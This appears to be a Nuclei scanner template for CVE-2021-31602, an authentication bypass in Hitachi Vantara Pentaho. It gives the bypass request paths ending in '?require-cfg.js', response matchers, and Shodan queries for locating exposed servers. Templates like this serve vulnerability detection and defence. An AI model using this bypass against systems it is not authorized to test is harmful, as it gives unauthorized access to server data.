id: CVE-2021-31602

info:
  name: Hitachi Vantara Pentaho/Business Intelligence Server - Authentication Bypass
  author: pussycat0x
  severity: high
  description: Hitachi Vantara Pentaho through 9.1 and Pentaho Business Intelligence Server through 7.x are vulnerable to authentication bypass. The Security Model has different layers of Access Control. One of these layers is the applicationContext security, which is defined in the applicationContext-spring-security.xml file. The default configuration allows an unauthenticated user with no previous knowledge of the platform settings to extract pieces of information without possessing valid credentials.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to bypass authentication and gain unauthorized access to the server.
  remediation: |
    Apply the latest security patches or updates provided by Hitachi Vantara to fix the authentication bypass vulnerability.
  reference:
    - https://seclists.org/fulldisclosure/2021/Nov/13
    - https://portswigger.net/daily-swig/remote-code-execution-sql-injection-bugs-uncovered-in-pentaho-business-analytics-software
    - https://hawsec.com/publications/pentaho/HVPENT210401-Pentaho-BA-Security-Assessment-Report-v1_1.pdf
    - https://www.hitachi.com/hirt/security/index.html
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31602
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-31602
    cwe-id: CWE-287
    epss-score: 0.25923
    epss-percentile: 0.9671
    cpe: cpe:2.3:a:hitachi:vantara_pentaho:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: hitachi
    product: vantara_pentaho
    shodan-query:
      - Pentaho
      - pentaho
  tags: cve2021,cve,spring,seclists,pentaho,auth-bypass,hitachi

http:
  - method: GET
    path:
      - "{{BaseURL}}/pentaho/api/userrolelist/systemRoles?require-cfg.js"
      - "{{BaseURL}}/api/userrolelist/systemRoles?require-cfg.js"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<roleList>'
          - '<roles>Anonymous</roles>'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100d0aa219e33e664ec9e7e398d3a263727c7bc2638d4cb70552290a9902a1e2088022066fcd83fad7cd21134a3179af449391e8858835e5cd0f4dcce9fc6a18dfb69be:922c64590222798bb761d5b6d8e72950